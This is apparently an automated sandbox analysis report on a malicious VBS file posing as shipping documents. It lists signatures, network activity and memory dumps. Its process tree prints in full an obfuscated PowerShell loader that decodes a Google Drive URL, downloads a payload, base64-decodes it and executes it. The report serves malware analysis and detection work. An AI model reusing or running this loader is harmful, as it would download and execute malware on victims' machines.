Analysis
- max time kernel
93s - max time network
114s - platform
windows10-2004_x64 - resource
win10v2004-20240412-en - resource tags
- submitted
18/04/2024, 14:08
General
- Target Shipping Dcuments_CI PKL_HL_.vbs
- Size 278KB
- Sample240418-rfmk8sfc29
- SHA256 223d2f80a60223db2bcdf49cdafd000c7242bb7c3e87ff1a354697719483e68f
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 10 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping Dcuments_CI PKL_HL_.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Semiannually163 = 1;$Varityped='Substrin';$Varityped+='g';Function Spatiumet($Merotomy){$Ganglioma=$Merotomy.Length-$Semiannually163;For($Undereying136=5; $Undereying136 -lt $Ganglioma; $Undereying136+=(6)){$Stacc+=$Merotomy.$Varityped.Invoke($Undereying136, $Semiannually163);}$Stacc;}function Salsdren($Fortynd){. ($Fusionsaftaler) ($Fortynd);}$Morallovene=Spatiumet 'FindeM SlaboBed,mzGuiltiSu.nolUnforlVarmeaSkru /Afslr5 p yn.U aft0 Kost Al,og(DdsaaW,pitaiboo lnBrssedNusseoSem cwFremssDi eg ChattNPrethT,oren Supra1Abe.s0Guldv.Colou0Haema;Adria Br,dsWr creiFormanRefrn6Uncou4velar; Legi noncix non 6 Nikl4Synli; skri PseurGasm,vP,gts:Bj.rg1 Mo,i2Organ1Armad.Flask0Abs,i)Galo. r tscGSkyldeAktioc DionkNoncooSyske/,atin2Luged0Janse1Bul.p0fj.rn0E cin1Pante0Coope1Surro ,aineFFly eiUvi lr,readeRve,efDiphyoAphroxHarri/Bygn.1Eluls2Ebelt1Tra i.Perca0 Dupe ';$Anathematise=Spatiumet 'Lill,UFalhos SpleeP lorrFiske-OhsknAN.ighg Pawne MasknLechrtOnion ';$Aivr=Spatiumet 'FigurhpreintGer.rtVognppT.llas.onse:Lay u/Bi,le/ B.lldFinerrF.agti Bj,gvindpae.atte. .ilpgCanchoEuropo Educgwr telAfslaered.m.Bak ucK upvoPengem Vlve/AfstvupervecFrit ? k,noeLivewxminerp BelooTiltrrwind tU lia=BallodSankeoOp ftwKrvernDekodlKapreo OxydaHum.ld appl& ScariGeomedAmnio= Hudd1 DommOL.omeS ErroQGal,iaUdbetZKartolChanikRatapr Tink_ Clar7 Kna.hF.uevzspadspRovdy0DeminlAtomaSPh.liF PagiBProgr9 AergdTappejUdb t3FanmagFagblxDagplcN,ninEOutf.oUna.etCentr-Sikke9Figensbrain5Tyven ';$Succesombrust=Spatiumet 'Trykl>Polyh ';$Fusionsaftaler=Spatiumet 'af eniTankeeWattsxAl um ';$Pantebrevshandelen = Spatiumet ' ntee JerncWkdrehA johoL,xia D.ske%SvindaRa,tapDevonpButi,dCi,araOveretPennaaDef,n%Pragt\Flec.EFu,dvlsubapeProvicSortetIndicr TheooEb.lln TroueSup lg Panda .ogltReinsiDriftv Hypee Beci. At eS U.dihUng oaPer,i Patte&union& s.bl Hamm eOsterc KonghUn.pao Urba Lsnin$Pum.c ';Salsdren (Spatiumet 'Suppl$Enh.lgbolivlsemino uni,bBoligaSvulmlindsp: Plo,fTransl Tje,uRinglkGroovtRa eru JungeCatenr HovniGreennUndefgoutre=Himme(Tiltac EpokmXsford Ra.i Prova/datasc Deut Dext.$ mesiPJagteaBoligngelogt SkileBehanbEupherEnra.eL gtevCrustsisba.h DewaaHalopnChrisdSkakte RaillUdadreDec,lnPaatv)Antil ');Salsdren (Spatiumet ' Mist$ Ma,sgTilprl banko dashb.annyaKardslQuant:GeledACemennMaalet Bet.h,iltvr .ndkoAbamppA taco Pa lpPass hPa ahaTr,llgUbereiAgerbsGrns tforsii .airc E,ip=garvn$FratrASeraliArapavFenacrOttea.JournsmorbrpIntarlMandaiCou ttSuper(Skri $St noSAmp,iu NytacContrcRygraePunktsRecomo NavnmKhedabExsicrDametuRustbsUnddrtBesgs)T les ');$Aivr=$Anthropophagistic[0];Salsdren (Spatiumet 'Ov rm$CiphegOpskrlPromeoF rskbScollaAntiplF.ske:b skuFDrvleoafbrer Ulkss .rageFl esnAusredLigniedishblInsissTel.fe UndesDagceoSnapsmTilvekYdelsoShattsb odstAutoenMicreiGalannmindeg SladedopinrFyrin= itriNFa,ceeCellewPhono- SknlOHoussbplotnj Deple HydrcUn.stt Refr KonkuSBucrny.ecoms AffttNo gleSens mSa kt.BelieNOffsheRdseltBe or. Sco.WPoiaae IchtbGi maCKarikl.oostiOpildemedt,nBa.stt Flyd ');Salsdren (Spatiumet ',leek$BerigFPol to,efairPu pessymboeRussinmidd dCeltieDiamalUbesksForgie ites Beseo SkanmForlakBem.loDobbesGadertTouchnsterniShirtnUnoffgSeksae rbejrPalme.Ers aHBelyseManeuaOmniadSupereHewabrTelefsMot,t[ maxi$Kv ntA padrnTen.raBranctToresh,rgameLandlmSekreamyrmit AftriSa,dss T.awe pr.s]N.rin=P,lit$Es.reMNeglpoU derrLivegaja oulEuryglSuitioTiltrvanorge S.rvnDrvtye sh,p ');$Samosa=Spatiumet 'ConfiFSatsao emarrUnpolsPreseesacchn.ichwd Unsue Rgfol vicisMudroeUdenrsunderoFe,mimWe,dik SkruoRejecsBisamtLeeronfeignirustknDonkrgPettie P.anr ,ort.KlammD Ta,ooSal swGrms.nVirkelTurboo Synda A.lgdRikocFAstroi Calal,aneveBroch(Aquo.$.achiAMisgriK.yedvRejserUnpul,Lippi$ F blJ Te eaRetsbkUnsenkP,aine eknonGehe,)Drmme ';$Samosa=$fluktuering[1]+$Samosa;$Jakken=$fluktuering[0];Salsdren (Spatiumet 'Disso$ au.ogAkkrel Estlo .ippbNytteaStupelPmkha:UndefPBotuleRiposrFljtecSove,aSpeci= Tele(M.sicTModule,etersGenh.t Nedb-St,afP Pul,aVitaltBi.lehNitsk Line$BecooJ Orfealasttk.orlfkCost,eslughnSrege)Spalt ');while (!$Perca) {Salsdren (Spatiumet ' Udko$Al.ingStjfolSmickoValutbUnmonaRealelProf.:Rel.tIDrejedSnowseLagenn Se,ttDohiciAbsu.t,avebeGniddtSupers ommemPaatar.aagekIncaveH ldnsAgoni=mult.$LatertBagt.r M.saum.ljreObeys ') ;Salsdren $Samosa;Salsdren (Spatiumet ' CareSS.aldtTinneaAristrI dvatKomme-Oste.SAlbu.lTrumfeGuldse AfkapGoitc Boks4 oms ');Salsdren (Spatiumet 'Inds $GnavegPreexl MonsoKinetbjasesaRevislVario:drommP UndeeTher rBrewic Sm aarepos= O,er(ReinfTMetase MisfsMinvetRote,- IrriPIntelaArve.tSublah Supe Pyrhe$EnemrJ Badma AmtskVliesk Solne ,auhn Ci,c) Car ') ;Salsdren (Spatiumet ' Hrsi$KendegYn lilDyretoli,jebKantoa Han,lSkand:HighlLUnderuPathomResneb.utotuPaakrsH,eft=P.ior$Latiag RegnlUndero Ske,b Ma.daTrykkl ani:Ri gkBHemipeRepr,gSu.errWrencaCan.ivse ebe P,rglChecksStarteSkyhjsStrenkForesaReflep MurreDri ll ProplOrycteBrnefrLejeishande+O.tiu+,luxa%Zilli$TaxafAF rstn BalktAdganhsarder IronoDefacpFlugtoshillpVizorh Kabea LonggLuftii P,risAg.sttReshiiAutorcKrakk.Bra.lcTra ioRkemou nternInvestCodeb ') ;$Aivr=$Anthropophagistic[$Lumbus];}Salsdren (Spatiumet ' ,lan$FortsgInforlSelvio SkinbRanseaRohrnlAnekd: eminNcatasuPirozmNabobmscutceRerair Frnup MaullPaaskaTakstdEnunceA rornDoktosEleme Tast=eskad cadeG Copre AarmtS ffl-DitetCTestdos,linnstafft.aunueKalkbnVarmet Cond Pron,$SymboJP,nctaB,plak undekSquigeYarurnUbaad ');Salsdren (Spatiumet 'Tryne$A vecgLay rlNikoloI filb fkapaKontol Gkke:FerieSUnmigpMetreaAparttDelegtPalaelFlinkeVestidMaci. Mumme=Handy Pythi[ DileSReattyRevissred vtKollieU eldmMi op.PolteCSiennoCh,omnVauntv AngreMindsrMesost.llit]Apter:Somme: oragFAvicur k.sto NdspmOver B.viseaAnda.sH,droekonve6R,gne4 SnotS CasttInflurNonsei ConvnBussegScoli( sple$Omn,pN.uelouJournm FootmVita,eUdklarRespopRegislUdsaeaSuppldAm.anet,enenBekissVesic)Strej ');Salsdren (Spatiumet 'Annso$Be.aigMad.il Suggo,rimeb Fugta Kon,lU.pan:MarinSMiljtp rilsaBendlcMasseiBlankoGyropuphospsDberelMimicy Alp. Sdemn= stje Retti[ PneuSDebriyKnyt.s .aantE.seme kampmOtari.PredeT Stv,eLejekxCentrt Pupi.GramiE Un nnFibricFagfoo.ehondOpspuiFastenLithogIndi,]Basi,:herov: M.thAJobbeSEyewaC AfifIIndisIHand,.AlgotGSkraleAraertTerriSPapritToskirI dbriLazarnvrkstgattro(Bedst$Ho,edS,enzppS,angaElgabtRunddt AktilB.gheeGlaned nder)Telec ');Salsdren (Spatiumet 'Nuanc$SicilgBladelTil,roi stabMuta,aCandllPorr,:MenneESpejlpTilreiCassosSkrespIndfra Ly.psAnal tScrabiD,miccM,lie=Tarif$ RdhaSPandepHalslaC.stoc TragiAfmaroSeconu Av ssRe oglUnderyPedes.Un,onsTilleuMati b.ejltsFri et GosprP,ryni Qu cnRes,rgadopt(Polys2 ilis9Brudf2Ka,in8Rteb.4Mobil6dtr n,,rusi2Mulig8Under3Smel,5Tel,g8Faneb) nmed ');Salsdren $Epispastic;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Electronegative.Sha && echo $"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Semiannually163 = 1;$Varityped='Substrin';$Varityped+='g';Function Spatiumet($Merotomy){$Ganglioma=$Merotomy.Length-$Semiannually163;For($Undereying136=5; $Undereying136 -lt $Ganglioma; $Undereying136+=(6)){$Stacc+=$Merotomy.$Varityped.Invoke($Undereying136, $Semiannually163);}$Stacc;}function Salsdren($Fortynd){. ($Fusionsaftaler) ($Fortynd);}$Morallovene=Spatiumet 'FindeM SlaboBed,mzGuiltiSu.nolUnforlVarmeaSkru /Afslr5 p yn.U aft0 Kost Al,og(DdsaaW,pitaiboo lnBrssedNusseoSem cwFremssDi eg ChattNPrethT,oren Supra1Abe.s0Guldv.Colou0Haema;Adria Br,dsWr creiFormanRefrn6Uncou4velar; Legi noncix non 6 Nikl4Synli; skri PseurGasm,vP,gts:Bj.rg1 Mo,i2Organ1Armad.Flask0Abs,i)Galo. r tscGSkyldeAktioc DionkNoncooSyske/,atin2Luged0Janse1Bul.p0fj.rn0E cin1Pante0Coope1Surro ,aineFFly eiUvi lr,readeRve,efDiphyoAphroxHarri/Bygn.1Eluls2Ebelt1Tra i.Perca0 Dupe ';$Anathematise=Spatiumet 'Lill,UFalhos SpleeP lorrFiske-OhsknAN.ighg Pawne MasknLechrtOnion ';$Aivr=Spatiumet 'FigurhpreintGer.rtVognppT.llas.onse:Lay u/Bi,le/ B.lldFinerrF.agti Bj,gvindpae.atte. .ilpgCanchoEuropo Educgwr telAfslaered.m.Bak ucK upvoPengem Vlve/AfstvupervecFrit ? k,noeLivewxminerp BelooTiltrrwind tU lia=BallodSankeoOp ftwKrvernDekodlKapreo OxydaHum.ld appl& ScariGeomedAmnio= Hudd1 DommOL.omeS ErroQGal,iaUdbetZKartolChanikRatapr Tink_ Clar7 Kna.hF.uevzspadspRovdy0DeminlAtomaSPh.liF PagiBProgr9 AergdTappejUdb t3FanmagFagblxDagplcN,ninEOutf.oUna.etCentr-Sikke9Figensbrain5Tyven ';$Succesombrust=Spatiumet 'Trykl>Polyh ';$Fusionsaftaler=Spatiumet 'af eniTankeeWattsxAl um ';$Pantebrevshandelen = Spatiumet ' ntee JerncWkdrehA johoL,xia D.ske%SvindaRa,tapDevonpButi,dCi,araOveretPennaaDef,n%Pragt\Flec.EFu,dvlsubapeProvicSortetIndicr TheooEb.lln TroueSup lg Panda .ogltReinsiDriftv Hypee Beci. At eS U.dihUng oaPer,i Patte&union& s.bl Hamm eOsterc KonghUn.pao Urba Lsnin$Pum.c ';Salsdren (Spatiumet 'Suppl$Enh.lgbolivlsemino uni,bBoligaSvulmlindsp: Plo,fTransl Tje,uRinglkGroovtRa eru JungeCatenr HovniGreennUndefgoutre=Himme(Tiltac EpokmXsford Ra.i Prova/datasc Deut Dext.$ mesiPJagteaBoligngelogt SkileBehanbEupherEnra.eL gtevCrustsisba.h DewaaHalopnChrisdSkakte RaillUdadreDec,lnPaatv)Antil ');Salsdren (Spatiumet ' Mist$ Ma,sgTilprl banko dashb.annyaKardslQuant:GeledACemennMaalet Bet.h,iltvr .ndkoAbamppA taco Pa lpPass hPa ahaTr,llgUbereiAgerbsGrns tforsii .airc E,ip=garvn$FratrASeraliArapavFenacrOttea.JournsmorbrpIntarlMandaiCou ttSuper(Skri $St noSAmp,iu NytacContrcRygraePunktsRecomo NavnmKhedabExsicrDametuRustbsUnddrtBesgs)T les ');$Aivr=$Anthropophagistic[0];Salsdren (Spatiumet 'Ov rm$CiphegOpskrlPromeoF rskbScollaAntiplF.ske:b skuFDrvleoafbrer Ulkss .rageFl esnAusredLigniedishblInsissTel.fe UndesDagceoSnapsmTilvekYdelsoShattsb odstAutoenMicreiGalannmindeg SladedopinrFyrin= itriNFa,ceeCellewPhono- SknlOHoussbplotnj Deple HydrcUn.stt Refr KonkuSBucrny.ecoms AffttNo gleSens mSa kt.BelieNOffsheRdseltBe or. Sco.WPoiaae IchtbGi maCKarikl.oostiOpildemedt,nBa.stt Flyd ');Salsdren (Spatiumet ',leek$BerigFPol to,efairPu pessymboeRussinmidd dCeltieDiamalUbesksForgie ites Beseo SkanmForlakBem.loDobbesGadertTouchnsterniShirtnUnoffgSeksae rbejrPalme.Ers aHBelyseManeuaOmniadSupereHewabrTelefsMot,t[ maxi$Kv ntA padrnTen.raBranctToresh,rgameLandlmSekreamyrmit AftriSa,dss T.awe pr.s]N.rin=P,lit$Es.reMNeglpoU derrLivegaja oulEuryglSuitioTiltrvanorge S.rvnDrvtye sh,p ');$Samosa=Spatiumet 'ConfiFSatsao emarrUnpolsPreseesacchn.ichwd Unsue Rgfol vicisMudroeUdenrsunderoFe,mimWe,dik SkruoRejecsBisamtLeeronfeignirustknDonkrgPettie P.anr ,ort.KlammD Ta,ooSal swGrms.nVirkelTurboo Synda A.lgdRikocFAstroi Calal,aneveBroch(Aquo.$.achiAMisgriK.yedvRejserUnpul,Lippi$ F blJ Te eaRetsbkUnsenkP,aine eknonGehe,)Drmme ';$Samosa=$fluktuering[1]+$Samosa;$Jakken=$fluktuering[0];Salsdren (Spatiumet 'Disso$ au.ogAkkrel Estlo .ippbNytteaStupelPmkha:UndefPBotuleRiposrFljtecSove,aSpeci= Tele(M.sicTModule,etersGenh.t Nedb-St,afP Pul,aVitaltBi.lehNitsk Line$BecooJ Orfealasttk.orlfkCost,eslughnSrege)Spalt ');while (!$Perca) {Salsdren (Spatiumet ' Udko$Al.ingStjfolSmickoValutbUnmonaRealelProf.:Rel.tIDrejedSnowseLagenn Se,ttDohiciAbsu.t,avebeGniddtSupers ommemPaatar.aagekIncaveH ldnsAgoni=mult.$LatertBagt.r M.saum.ljreObeys ') ;Salsdren $Samosa;Salsdren (Spatiumet ' CareSS.aldtTinneaAristrI dvatKomme-Oste.SAlbu.lTrumfeGuldse AfkapGoitc Boks4 oms ');Salsdren (Spatiumet 'Inds $GnavegPreexl MonsoKinetbjasesaRevislVario:drommP UndeeTher rBrewic Sm aarepos= O,er(ReinfTMetase MisfsMinvetRote,- IrriPIntelaArve.tSublah Supe Pyrhe$EnemrJ Badma AmtskVliesk Solne ,auhn Ci,c) Car ') ;Salsdren (Spatiumet ' Hrsi$KendegYn lilDyretoli,jebKantoa Han,lSkand:HighlLUnderuPathomResneb.utotuPaakrsH,eft=P.ior$Latiag RegnlUndero Ske,b Ma.daTrykkl ani:Ri gkBHemipeRepr,gSu.errWrencaCan.ivse ebe P,rglChecksStarteSkyhjsStrenkForesaReflep MurreDri ll ProplOrycteBrnefrLejeishande+O.tiu+,luxa%Zilli$TaxafAF rstn BalktAdganhsarder IronoDefacpFlugtoshillpVizorh Kabea LonggLuftii P,risAg.sttReshiiAutorcKrakk.Bra.lcTra ioRkemou nternInvestCodeb ') ;$Aivr=$Anthropophagistic[$Lumbus];}Salsdren (Spatiumet ' ,lan$FortsgInforlSelvio SkinbRanseaRohrnlAnekd: eminNcatasuPirozmNabobmscutceRerair Frnup MaullPaaskaTakstdEnunceA rornDoktosEleme Tast=eskad cadeG Copre AarmtS ffl-DitetCTestdos,linnstafft.aunueKalkbnVarmet Cond Pron,$SymboJP,nctaB,plak undekSquigeYarurnUbaad ');Salsdren (Spatiumet 'Tryne$A vecgLay rlNikoloI filb fkapaKontol Gkke:FerieSUnmigpMetreaAparttDelegtPalaelFlinkeVestidMaci. Mumme=Handy Pythi[ DileSReattyRevissred vtKollieU eldmMi op.PolteCSiennoCh,omnVauntv AngreMindsrMesost.llit]Apter:Somme: oragFAvicur k.sto NdspmOver B.viseaAnda.sH,droekonve6R,gne4 SnotS CasttInflurNonsei ConvnBussegScoli( sple$Omn,pN.uelouJournm FootmVita,eUdklarRespopRegislUdsaeaSuppldAm.anet,enenBekissVesic)Strej ');Salsdren (Spatiumet 'Annso$Be.aigMad.il Suggo,rimeb Fugta Kon,lU.pan:MarinSMiljtp rilsaBendlcMasseiBlankoGyropuphospsDberelMimicy Alp. Sdemn= stje Retti[ PneuSDebriyKnyt.s .aantE.seme kampmOtari.PredeT Stv,eLejekxCentrt Pupi.GramiE Un nnFibricFagfoo.ehondOpspuiFastenLithogIndi,]Basi,:herov: M.thAJobbeSEyewaC AfifIIndisIHand,.AlgotGSkraleAraertTerriSPapritToskirI dbriLazarnvrkstgattro(Bedst$Ho,edS,enzppS,angaElgabtRunddt AktilB.gheeGlaned nder)Telec ');Salsdren (Spatiumet 'Nuanc$SicilgBladelTil,roi stabMuta,aCandllPorr,:MenneESpejlpTilreiCassosSkrespIndfra Ly.psAnal tScrabiD,miccM,lie=Tarif$ RdhaSPandepHalslaC.stoc TragiAfmaroSeconu Av ssRe oglUnderyPedes.Un,onsTilleuMati b.ejltsFri et GosprP,ryni Qu cnRes,rgadopt(Polys2 ilis9Brudf2Ka,in8Rteb.4Mobil6dtr n,,rusi2Mulig8Under3Smel,5Tel,g8Faneb) nmed ');Salsdren $Epispastic;"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Electronegative.Sha && echo $"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2084 -s 23644⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 2084 -ip 20841⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_5x025wsv.xdw.ps1
Electronegative.Sha
memory/2084-29-0x00000000052A0000-0x0000000005306000-memory.dmp
memory/2084-34-0x0000000005AF0000-0x0000000005E44000-memory.dmp
memory/2084-43-0x00000000745E0000-0x0000000074D90000-memory.dmp
memory/2084-41-0x0000000008390000-0x0000000008934000-memory.dmp
memory/2084-18-0x00000000025E0000-0x0000000002616000-memory.dmp
memory/2084-19-0x00000000745E0000-0x0000000074D90000-memory.dmp
memory/2084-20-0x0000000004D80000-0x0000000004D90000-memory.dmp
memory/2084-21-0x00000000053C0000-0x00000000059E8000-memory.dmp
memory/2084-22-0x0000000005060000-0x0000000005082000-memory.dmp
memory/2084-35-0x0000000005F10000-0x0000000005F2E000-memory.dmp
memory/2084-40-0x0000000007150000-0x0000000007172000-memory.dmp
memory/2084-39-0x00000000071C0000-0x0000000007256000-memory.dmp
memory/2084-23-0x0000000005100000-0x0000000005166000-memory.dmp
memory/2084-36-0x0000000005F50000-0x0000000005F9C000-memory.dmp
memory/2084-37-0x0000000007760000-0x0000000007DDA000-memory.dmp
memory/2084-38-0x00000000064B0000-0x00000000064CA000-memory.dmp
memory/4572-12-0x00007FFBF1430000-0x00007FFBF1EF1000-memory.dmp
memory/4572-13-0x000001E436560000-0x000001E436570000-memory.dmp
memory/4572-17-0x000001E436560000-0x000001E436570000-memory.dmp
memory/4572-2-0x000001E436530000-0x000001E436552000-memory.dmp
memory/4572-14-0x000001E436560000-0x000001E436570000-memory.dmp
memory/4572-46-0x00007FFBF1430000-0x00007FFBF1EF1000-memory.dmp